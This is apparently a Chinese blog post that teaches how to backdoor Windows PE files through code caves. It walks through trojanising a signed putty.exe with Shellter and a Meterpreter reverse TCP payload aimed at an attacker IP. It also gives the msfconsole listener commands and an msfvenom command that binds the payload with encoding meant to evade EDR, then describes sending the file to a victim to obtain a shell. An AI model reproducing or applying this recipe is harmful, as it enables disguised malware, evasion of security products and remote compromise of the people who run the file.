PE文件door技术

2025-9-2 59 9/2

PE文件后门技术

知识卡片

  1. PE是 Windows 系统下可执行文件,所有 EXE/DLL/SYS 本质都是 PE 文件

  2. 代码洞穴(Code Cave)是 PE 文件中未使用的空白区域

  3. PE 后门核心逻辑:找洞穴→插加密 Shellcode→修执行流→免杀混淆,全程不破坏原 PE 文件功能

详细讲解

首先我们进行一个对比,思考给目标发送一个payload.exe和给目标发送一个带有数字签名且为大厂出的putty.exe。这两个哪个面对EDR容易过呢,这里显然是putty.exe

PE文件后门的本质:"寄生",在不影响原程序正常使用的情况下,植入我们必须的恶意代码并优先执行

这里我们要了解一下 Code Cave代码洞,即编译器在生成PE文件时为对齐内存,在节末尾留下的一串0x00,结构如下:

[ PE 头]
[ Section 表]
[ .text 段]  <-- 我们的目标,通常有执行权限
  |-- 正常指令 --|
  |-- 00 00 00 --| <-- Code Cave (我们要注入的地方)
[ .data 段]

操作步骤:

  1. 找洞:在.text段找到足够大的全零区域

  2. 改入口:将PE头的AddressOfEntryPoint指向这个洞

  3. 写Payload:把Shellcode塞进去

  4. 复原程序:Shellcode跑完后,还要跳回原来的入口点,否则程序就会卡死、崩溃

写到这里我突然想起Shellter工具的实现原理就是基于上述步骤,Shellter工具实现了自动找Code Cave,自动插入代码、自动修改跳转。

实战练习

这里我们将Putty.exe制作成后门木马,这里我们用两种方法制作,第一种就是利用Shellter进行自动化制作,第二种就是我们手动找Code Cave插入制作

法一:Shellter自动化制作

工具下载地址:

Download | Shellter

  • 使用步骤

选择模式:

选择模式为“a”代表自动

需要选择一个可执行文件,并将其复制到Shellter文件夹中。

这里将putty.exe文件复制到Shellter文件夹,并将其与shellter.exe文件绑定

(由于Shellter仅支持32位PE文件。若注入64位文件就会直接报错。所以这里的putty.exe也是32位的)

PE文件door技术

然后可以看到DisASM.dll已经成功创建,并询问是否启用隐形模式。

输入'y'表示同意

PE文件door技术

选择Payload有效负载

Shellter会询问是想使用列出的有效载荷还是自定义有效载荷

输入'L'使用列出的Payload,并且选择第一个payload(Meterpreter_Reverse_TCP

PE文件door技术

接着设置LHOST与LPORT

LHOST 设置为 192.168.1.133[攻击者IP]LPORT 设置为 4444

PE文件door技术

'a'模式下生成的新文件会覆盖原文件

打开Msf并开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.133
set lport 4444
exploit

然后将putty.exe文件发送到受害者机器,受害者机器一旦运行putty.exe我们就会收到shell

PE文件door技术

但是当受害者关闭这个putty.exe的时候会话就会直接断掉因为putty.exe是个前台交互进程,关闭窗口相当于进程终止,不过这个问题我们可以通过改善payload解决,即自定义一个自带进程迁移的payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o payload.exe -k -x putty.exe -a x86 --platform windows -b "\x00"

法二:手动Cave Code注入捆绑

这里手动的话需要写汇编及ShellCode、x32/x64dbg工具的使用,这里先暂时放一放当作一个坑,等后面再进修一下回填

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论